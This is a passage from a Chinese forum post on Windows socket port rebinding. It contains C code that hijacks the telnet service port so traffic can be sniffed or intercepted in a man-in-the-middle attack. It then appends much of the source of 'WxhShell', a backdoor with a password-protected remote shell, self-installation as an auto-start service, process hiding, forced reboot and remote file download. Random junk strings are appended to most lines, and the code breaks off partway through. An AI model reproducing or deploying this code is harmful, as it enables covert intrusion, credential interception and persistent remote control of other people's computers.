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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: " ;o, D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,D.@6 bJW  
fc<,kRp  
  saddr.sin_family = AF_INET; #bb$Icmtk  
rW)}$|-Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PKev)M;C+  
Pk8(2fAYk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CX7eCo  
J=H8^4M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ()fYhk|W  
 ?QcS$i  
  这意味着什么?意味着可以进行如下的攻击: T2to!*T  
_AiGD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >p3S,2SM  
orEb+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o{7w&Pgs2  
vX*kvEG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j[=P3Z0q  
F3nPQw{;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZV!*ZpTe~  
9x14I2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s{fL~}Yz  
ai)?RF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lC^?Jk[N  
ZO\bCrk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <2\Q Y  
2~)q080jh  
  #include _2<k,Dl;RY  
  #include j2|UuWU  
  #include Iy2AJ|d.  
  #include    >SS979  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &qV_|f;  
  int main() QjsN7h&%  
  { pS!N<;OWr  
  WORD wVersionRequested; b~+\\,q}  
  DWORD ret; F'55BY*!  
  WSADATA wsaData; ([hd  
  BOOL val; U6M&7 l8  
  SOCKADDR_IN saddr; r+n hm"9  
  SOCKADDR_IN scaddr; mTa^At"  
  int err; V/8yW3]Xy  
  SOCKET s; w.Kp[  
  SOCKET sc; w'Jo).OW~  
  int caddsize; 6o GF6C  
  HANDLE mt; g1q%b%8T  
  DWORD tid;   rgu7g  
  wVersionRequested = MAKEWORD( 2, 2 ); M,eq-MEK  
  err = WSAStartup( wVersionRequested, &wsaData ); 1gH>B5`  
  if ( err != 0 ) { Byns6k  
  printf("error!WSAStartup failed!\n"); p{JE@TM  
  return -1; 3UGdXufw  
  } p|=0EWo4U  
  saddr.sin_family = AF_INET; o&HFlDZ5jO  
   -PH qD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gjy:o5{vA*  
q%FXox~b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7=4V1FS6i  
  saddr.sin_port = htons(23); j,g.Eo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E"%G@,|3*  
  { B=2f-o  
  printf("error!socket failed!\n"); +'D #VG  
  return -1; Y.o-e)zX  
  } gd;e-.  
  val = TRUE; }x:nhy`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u=B,i#>s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _lG\_6oJ,  
  { .w~zW*M0  
  printf("error!setsockopt failed!\n"); ,:3Di (  
  return -1; MtK5>mhZI`  
  } -MeO|HWm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nB , &m&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JZ0u/x5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9,Ug  
(2%z9W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?;Ge/~QU5  
  { b%I2ig  
  ret=GetLastError(); C9 cQ} j:  
  printf("error!bind failed!\n"); E9S&UU,K  
  return -1; [3hOc/]s  
  } 2d-C}&}L\  
  listen(s,2); ht^xc c  
  while(1) 4+r26S,T  
  { ESv&x6H  
  caddsize = sizeof(scaddr); X6: c-  
  //接受连接请求 jiAN8t*P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Yc1ve  
  if(sc!=INVALID_SOCKET) m_1BB$lyP2  
  { MQGR-WV=5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mkt%|Kb.  
  if(mt==NULL) #k<j`0kiq  
  { ,(CIcDJ2U_  
  printf("Thread Creat Failed!\n"); 0~j0x#  
  break; V$<5`  
  } C9FQo7   
  } 8Dy;'BtT  
  CloseHandle(mt); 9!oNyqQ  
  } !`#xFRHe  
  closesocket(s); 38eeRo  
  WSACleanup(); +tPqU6  
  return 0; [0mg\n?  
  }   p/inATH  
  DWORD WINAPI ClientThread(LPVOID lpParam) V$fvf#T  
  { bT{iei]?  
  SOCKET ss = (SOCKET)lpParam; v}\Nx[}  
  SOCKET sc; ?)B\0` %*'  
  unsigned char buf[4096]; [!#<nY/C  
  SOCKADDR_IN saddr; GFBku^pi  
  long num; Q#rj>+?  
  DWORD val; B>M@'  
  DWORD ret; Q{+&3KXH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <Xr {1M D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J.QFrIB{]+  
  saddr.sin_family = AF_INET; DJf!{:b)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'rQ>Z A_8  
  saddr.sin_port = htons(23); ')>&:~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V}kQXz"9  
  { =%V(n{7=  
  printf("error!socket failed!\n"); $,~D-~-  
  return -1; G\ht)7SGgf  
  } ~1v5H]T{  
  val = 100; F"Y.'my8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Sq,x57-  
  { Q)s[ls  
  ret = GetLastError(); ^p 4 33  
  return -1; 6vQCghI  
  } !nkjp[p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3@/\j^U  
  { 3KW4 ]qo~  
  ret = GetLastError(); gK8{=A0c  
  return -1; X]OVc<F  
  } xMu[#\Vc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '{?7\+o.x  
  { 69$[yt>KYz  
  printf("error!socket connect failed!\n"); 8vLaSZ="[  
  closesocket(sc); Yq?FiE0  
  closesocket(ss); VgO:`bDF  
  return -1; zg2}R4h  
  } ?@i_\<A2  
  while(1) @Js^=G2  
  { af<R.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2\p8U#""  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9zKrFqhNo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r2]KP(T8|  
  num = recv(ss,buf,4096,0);  ]%L?b-e  
  if(num>0) `i,l)X]  
  send(sc,buf,num,0); A+&^As2  
  else if(num==0) 9=J+5V^qD<  
  break; eJ JD'Z  
  num = recv(sc,buf,4096,0); z"n7du}v  
  if(num>0) O IMsxXF\J  
  send(ss,buf,num,0); %|:Gn)8  
  else if(num==0) OJGEX}3'  
  break; `"/s,"c:D  
  } TUQ+?[  
  closesocket(ss); #Jo#[-r  
  closesocket(sc); NM;0@ o  
  return 0 ; ;ctJ9"_g  
  } 5QjM,"`mp  
ST#MCh-00  
5DEK`#*  
========================================================== 0 xUw}T6  
VM1`:1Z:$  
下边附上一个代码,,WXhSHELL e bSG|F  
mu[:b  
========================================================== msyC."j0jU  
+y$%S4>0tp  
#include "stdafx.h" ;p !|E3o.  
+EZ Lic  
#include <stdio.h> bZE;}d  
#include <string.h> :4f>S) m  
#include <windows.h> GEdWpYKS-`  
#include <winsock2.h> \CP)$0j-&o  
#include <winsvc.h> ok"v`76~f5  
#include <urlmon.h> [zO:[i 7  
-.>b7ui  
#pragma comment (lib, "Ws2_32.lib") Nm.H  
#pragma comment (lib, "urlmon.lib") K\7\  
[<+A?M=  
#define MAX_USER   100 // 最大客户端连接数 5v f?E"\r  
#define BUF_SOCK   200 // sock buffer Vy:I[@6@+  
#define KEY_BUFF   255 // 输入 buffer rfgkw  
l$PSID  
#define REBOOT     0   // 重启 3 ?1qI'5  
#define SHUTDOWN   1   // 关机 (}W+W\.  
=z5'A|Wa=,  
#define DEF_PORT   5000 // 监听端口 pO* $ '8L  
D`?=]Ysz(  
#define REG_LEN     16   // 注册表键长度 F3XB};  
#define SVC_LEN     80   // NT服务名长度 LyaFWx   
aL9 yNj}2  
// 从dll定义API /A8ua=Kn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (aAv7kB&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {{G`0i2KV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B^;P:S<yG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G234UjN%  
eDh]uKg  
// wxhshell配置信息 IMKyFp]h-  
struct WSCFG { xpJ6M<O{8  
  int ws_port;         // 监听端口 ZPktZ  
  char ws_passstr[REG_LEN]; // 口令 6`>WO_<z  
  int ws_autoins;       // 安装标记, 1=yes 0=no o7/S'Haxc]  
  char ws_regname[REG_LEN]; // 注册表键名 E<j}"W$a  
  char ws_svcname[REG_LEN]; // 服务名 p(jY2&g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pSjJ u D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0]3 ,0s $}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Nl[]8G};  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =6XJr7Ay8u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yqaLqZ$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lEcZ/  
JnW G_|m)  
}; 1S&GhJ<wJ  
'MM%Sm,  
// default Wxhshell configuration 81gcM?  
struct WSCFG wscfg={DEF_PORT, Mbj{C  
    "xuhuanlingzhe", q#{.8H-X'  
    1, pO^PkX  
    "Wxhshell", Z*+0gJ<Y  
    "Wxhshell", i `m&X6)\j  
            "WxhShell Service", ?ztI8 I/  
    "Wrsky Windows CmdShell Service", JHxy_<p/  
    "Please Input Your Password: ", /s@t-gTi  
  1, 'jw?XtG  
  "http://www.wrsky.com/wxhshell.exe", rBOxI  
  "Wxhshell.exe" }?K vT$s  
    }; g[oa'.*OB  
~AVn$];{  
// 消息定义模块 R&>G6jZ?8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <G9HVMiP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .!fhy[%o:D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #.<Uy."z2  
char *msg_ws_ext="\n\rExit."; ~  4v  
char *msg_ws_end="\n\rQuit."; WpPm|h  
char *msg_ws_boot="\n\rReboot..."; Mnu8d:$  
char *msg_ws_poff="\n\rShutdown..."; pyvH [  
char *msg_ws_down="\n\rSave to "; r{cefKJHg  
 n[vwwY  
char *msg_ws_err="\n\rErr!"; m\4V;F  
char *msg_ws_ok="\n\rOK!";  ;Y6XX_  
f9" M^i  
char ExeFile[MAX_PATH]; :U6"HP+?g-  
int nUser = 0; -0QoVGw  
HANDLE handles[MAX_USER]; b^*9m PP  
int OsIsNt; {7k Jj(Ue  
fH-fEMyW  
SERVICE_STATUS       serviceStatus; @q98ac*{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9nM_LV  
IhIz 7.|  
// 函数声明 Vu0d\l^$  
int Install(void); zBQV2.@  
int Uninstall(void); wMW."gM|  
int DownloadFile(char *sURL, SOCKET wsh); u|ph_?6 o  
int Boot(int flag); 1zGD~[M  
void HideProc(void); Oe)d|6=  
int GetOsVer(void); &kR*J<)V  
int Wxhshell(SOCKET wsl); jmp0 %:+L  
void TalkWithClient(void *cs); j*.K|77WHj  
int CmdShell(SOCKET sock); F@]9 oF  
int StartFromService(void); )j/2Z-Ev:W  
int StartWxhshell(LPSTR lpCmdLine); Tvd}5~ 5?  
[P'"|TM[ ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y3_C':r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); - w{`/  
Bj=lUn`T:  
// 数据结构和表定义 = 9Ow!(!@  
SERVICE_TABLE_ENTRY DispatchTable[] = x|b52<dLL&  
{ i/C`]1R/  
{wscfg.ws_svcname, NTServiceMain}, }508wwv  
{NULL, NULL} *:5S*E&}V  
}; K2XRKoG  
z#[PTqD-_  
// 自我安装 |rgp(;iO  
int Install(void) 3s]aXz:  
{ =bBV A0y  
  char svExeFile[MAX_PATH]; NihUCj"  
  HKEY key; !K8Kw W|X  
  strcpy(svExeFile,ExeFile); wD\viu q0  
|erG cKk  
// 如果是win9x系统,修改注册表设为自启动 yTxrbE  
if(!OsIsNt) { xekU2u}WE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jIL+^{K<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &KYPi'C9!z  
  RegCloseKey(key); ,qT^e8E+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5K:'VX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e9=UTn{!  
  RegCloseKey(key); vg-Ah6BC{  
  return 0; h-f`as"d  
    } `f[  
  } hCOCX_  
} i V$TvD+  
else { oH,{'S@q  
gTS} 'w{  
// 如果是NT以上系统,安装为系统服务 W ZT) LYA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^Q\Hy\  
if (schSCManager!=0) 57K\sT4[  
{ $} @gR] Z  
  SC_HANDLE schService = CreateService :R{pV7<O  
  ( \{a!Z&df  
  schSCManager, 6!`GUU  
  wscfg.ws_svcname, O#do\:(b  
  wscfg.ws_svcdisp, [  *~2Ts  
  SERVICE_ALL_ACCESS, ;e"dxAUe!^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tc.QzD\  
  SERVICE_AUTO_START, 8345 H  
  SERVICE_ERROR_NORMAL, T4nWK!}z  
  svExeFile, _UA|0a!-  
  NULL, 4 Aj<k  
  NULL, i91 =h   
  NULL, -d.i4X3j  
  NULL, O**~ Tj  
  NULL +8|9&v`  
  ); Ox5Es  
  if (schService!=0) |@1M'  
  { TE5J @I  
  CloseServiceHandle(schService); YNB7`:  
  CloseServiceHandle(schSCManager); j"s7P%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j8G$,~v  
  strcat(svExeFile,wscfg.ws_svcname); l$&dTI<#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y3 \EX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UQg_y3 #V  
  RegCloseKey(key); *Fg)`M3g  
  return 0; 7w<e^H?  
    } nWes,K6T  
  } iYf)FPET  
  CloseServiceHandle(schSCManager); #Dea$  
} fm^J-  
} B'e@RhU;  
8 :;]tt  
return 1; ;nx.:f  
} i-}T t<^  
TILH[r&Jg  
// 自我卸载 JvsL]yRT  
int Uninstall(void) p/qu4[Mm  
{ P6I<M}p  
  HKEY key; Yr*!T= z  
S"t\LB*'Ls  
if(!OsIsNt) { 1=h5Z3/fj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iR!]&Oh  
  RegDeleteValue(key,wscfg.ws_regname); c{IL"B6>  
  RegCloseKey(key); Ou4 `#7FR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %>y`VN D  
  RegDeleteValue(key,wscfg.ws_regname); ' <?=!&\D  
  RegCloseKey(key); m5o$Dus+?'  
  return 0; i-ww@XOQ  
  }  sd"eu  
} gZ| !'  
} UcKVL zKs  
else { ?iZM.$![  
l;r A}?,.^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H _JE)a:+  
if (schSCManager!=0) gBO,  
{ ck b(+*+l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lbX YWZ~7  
  if (schService!=0) }U(bMo@;  
  { H#u N&^+H  
  if(DeleteService(schService)!=0) { 8`wKq6  
  CloseServiceHandle(schService); WD_{bd)  
  CloseServiceHandle(schSCManager); yEos$/*u-N  
  return 0; ZWni5uF-c  
  } f62rm[  
  CloseServiceHandle(schService); h;#046-7  
  } 5UJ ?1"J  
  CloseServiceHandle(schSCManager); zBK"k]rz  
} }Q*J!OH  
} '"+Gn52#  
%JH/|mA&|  
return 1; lcLDCt ?  
} L/E7xLz  
t Davp:M1v  
// 从指定url下载文件 DgK*> A  
int DownloadFile(char *sURL, SOCKET wsh) m[%':^vSr  
{ ?6\N&MTF  
  HRESULT hr; mK/E1a)AG3  
char seps[]= "/"; ?lfyC/  
char *token; jhPbh5E  
char *file; 3d]~e  
char myURL[MAX_PATH]; %wXj P`#  
char myFILE[MAX_PATH]; +!W:gA  
Wx8:GBM$2  
strcpy(myURL,sURL); k& uh  
  token=strtok(myURL,seps); gKcBx6G Q  
  while(token!=NULL) lXF7)H&T  
  { rT=C/SKP  
    file=token; lo1bj*Y2  
  token=strtok(NULL,seps); EP"Z58&$R  
  } op/_ :#&'  
^eyVEN  
GetCurrentDirectory(MAX_PATH,myFILE); OSfT\8YA  
strcat(myFILE, "\\"); ,(-V<>/*.|  
strcat(myFILE, file); ~1E!Co  
  send(wsh,myFILE,strlen(myFILE),0); .jg@UAK  
send(wsh,"...",3,0); xAl8e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .zl[nx[9"D  
  if(hr==S_OK) F:d2;  
return 0; zy%0;%  
else Q"D5D rj  
return 1; '&hd^9]Lo  
d"IZt;s/,  
} Phk3Jv  
O$;#GpR  
// 系统电源模块 `d^Q!QxE  
int Boot(int flag) Dn@ZS_f  
{ !H@HgJ -  
  HANDLE hToken; =+UtA f<n  
  TOKEN_PRIVILEGES tkp; /t`,7y 3T  
+ue1+#  
  if(OsIsNt) { ',xUU{5?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .>#O'Z&q9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |O6/p7+.  
    tkp.PrivilegeCount = 1; M)!"R [V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $./aK J1B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9r+'DX?>  
if(flag==REBOOT) { y2#"\5dC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0;@>jo6,!  
  return 0; d/jP2uu A  
} `A%WCd60Tc  
else { -)^vO*b 0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~c<8;,cjYR  
  return 0; cfilH"EK  
} :hs~;vn)  
  } U]gUGD!5x  
  else { 7M4J{}9  
if(flag==REBOOT) { Z1I.f"XY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 37kVJQcA1  
  return 0; ^+CWo@.  
} L%(NXSfu7  
else { Pzq^x]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nIr`T^c9c  
  return 0; j`"!G*Vh  
} ,mHUo4h1O  
} 8C8S) ;  
yyljyE  
return 1; =]-z?O6^`  
} ye=4<b_  
A-:k4] {%P  
// win9x进程隐藏模块 KpYezdPF)  
void HideProc(void) @XolFOL"f"  
{ Z#Kf%x.  
$A9Pi"/*z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RqGX(Iuv  
  if ( hKernel != NULL ) +a^gC  
  { y]+5Y.Cw$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k9OGnCW\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "FA. T7G  
    FreeLibrary(hKernel); >h\u[I$7  
  } Lo_+W1+  
fn,hP_  
return; RC[Sa wA  
} B7[d^Y60B  
& nXE?-J  
// 获取操作系统版本 ObEz0Rj  
int GetOsVer(void) z2t+1 In,  
{ hXth\e\[{`  
  OSVERSIONINFO winfo; jzJTV4&zjs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m N}szW,  
  GetVersionEx(&winfo); {eI'0==  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t4#gW$+^?H  
  return 1; KS93v9|  
  else 3sdL\  
  return 0; qE[YZ(/f0&  
} vs=q<Uw)  
"lw|EpQk`  
// 客户端句柄模块 |&JeJ0k>~  
int Wxhshell(SOCKET wsl) }}$@Tij19[  
{ Znb7OF^#"  
  SOCKET wsh; jhf3(hx&F  
  struct sockaddr_in client; o zn&>k  
  DWORD myID; -grf7w^  
Y2QX<  
  while(nUser<MAX_USER) zaHZ5%{LQD  
{ 7$lnCvm  
  int nSize=sizeof(client); s+lBai*#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B8T$<  
  if(wsh==INVALID_SOCKET) return 1; |mQ Fi\  
$U]T8;5Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #DFi-o&-  
if(handles[nUser]==0) &H;,,7u  
  closesocket(wsh); _ C?Wk:Y@  
else i cTpx#|=  
  nUser++; MXcW & b  
  } x+Xd7N1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XP?jsBE  
0?>(H(D^/  
  return 0; zq{UkoME  
} I_v}}h{  
&N/t%q  
// 关闭 socket Lcpe*C x-  
void CloseIt(SOCKET wsh) 9%T"W  
{ i^%$ydg  
closesocket(wsh); (^ EuF]  
nUser--; N5=BjXS Ag  
ExitThread(0); 1Y'4 g3T  
} nPXP9wmh4x  
tj@(0}pi4  
// 客户端请求句柄 1B2#uhT]r  
void TalkWithClient(void *cs) v>} +->f  
{ rl%,9JD!  
PmE)FthdP(  
  SOCKET wsh=(SOCKET)cs; G$i)ELs  
  char pwd[SVC_LEN]; NgGMsE\C}  
  char cmd[KEY_BUFF]; q%d G>!  
char chr[1];   < v]  
int i,j; p 4> ThpX  
70c]|5  
  while (nUser < MAX_USER) { zk8 )!Af  
{s0%XG1$  
if(wscfg.ws_passstr) { Y\-xX:n.\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qXW\/NT"p<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pVy=rS-  
  //ZeroMemory(pwd,KEY_BUFF); 0wv#AT  
      i=0; 1}DA| !~  
  while(i<SVC_LEN) { 0Xh_.PF  
Xh;.T=/E|  
  // 设置超时 >%U+G0Fq  
  fd_set FdRead; \s5Uvws  
  struct timeval TimeOut; h.>SVQzU  
  FD_ZERO(&FdRead); E:pk'G0bZ  
  FD_SET(wsh,&FdRead); :9UgERjra  
  TimeOut.tv_sec=8; J/4T=:\  
  TimeOut.tv_usec=0; %Gh5!e:$SI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Lkm-<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tf~B,?  
w_56y8Pd4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kt_oo[ey{  
  pwd=chr[0]; +;q\7*  
  if(chr[0]==0xd || chr[0]==0xa) { ,D+ydr  
  pwd=0; aDNB~CwZZ  
  break; 13!@L bC  
  } }UW7py!TN  
  i++; z5fE<=<X_W  
    } njy2pDC@  
:jl*Y-mM  
  // 如果是非法用户,关闭 socket { ] R'U/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XA2Ld  
} NZq-%bE  
CjQO5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .c"nDCFVR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QF"7.~~2  
9b+jT{Tg  
while(1) { ]^~}/@  
2nB99L{6  
  ZeroMemory(cmd,KEY_BUFF); FbE/x$;~O  
u-TT;k'  
      // 自动支持客户端 telnet标准   JnBUW"  
  j=0; A#"Wk]jX  
  while(j<KEY_BUFF) { &$~fz":1!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C 5.3[  
  cmd[j]=chr[0]; lhN@ ,q  
  if(chr[0]==0xa || chr[0]==0xd) { 6L<:>55  
  cmd[j]=0; 3^o(\=-JX  
  break; k6Kc{kY  
  } fc9;ZX7  
  j++; 8v"rM >[  
    } ebk>e*  
EU?qLj':  
  // 下载文件 Y.viOHL  
  if(strstr(cmd,"http://")) { qk(Eyp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \3 SY2g8+  
  if(DownloadFile(cmd,wsh)) ?gE=hh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dDaV2:4E  
  else ~`OX}h/Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ?.?)5 &4  
  } e%\^V\L  
  else { Pp8S\%z~h  
U6]#RxH  
    switch(cmd[0]) { ;t&q|}x"  
  l76=6Vtb  
  // 帮助 n$/|r  
  case '?': { F(G..XJQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0WUBj:@g  
    break; k)p` x"To  
  } Y [`+7w  
  // 安装 ?*fa5=ql  
  case 'i': { Ww]$zd-bo  
    if(Install()) 6 R6Ub 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $p0nq&4c  
    else A WR :~{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2}vibDq p  
    break; tDK@?PfKz  
    } Q]k< Y  
  // 卸载 B5lwQp]  
  case 'r': { + Iyyk02V  
    if(Uninstall()) r6DLShP-Ur  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j_8 YFz5  
    else !vSI"$xd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \<LCp;- K  
    break; w$}q`k'  
    } :5t4KcQ  
  // 显示 wxhshell 所在路径 -/Q5?0z  
  case 'p': { 1V%tev9a  
    char svExeFile[MAX_PATH]; jRK}H*uem  
    strcpy(svExeFile,"\n\r"); Y <6|z3  
      strcat(svExeFile,ExeFile); R|st<P  
        send(wsh,svExeFile,strlen(svExeFile),0); 0@ `]m  
    break; #"gt&t9Q  
    } 8Y`Lq$u  
  // 重启 F \:~^`  
  case 'b': { |a(KVo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VeA@HC`?"  
    if(Boot(REBOOT)) ^)AECn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V*p[6{U0  
    else { n ay\)  
    closesocket(wsh); h,{m{Xh  
    ExitThread(0); RHF"$6EAFG  
    } b;i*}4h!  
    break; jB LTEb  
    } 22l'kvo4"  
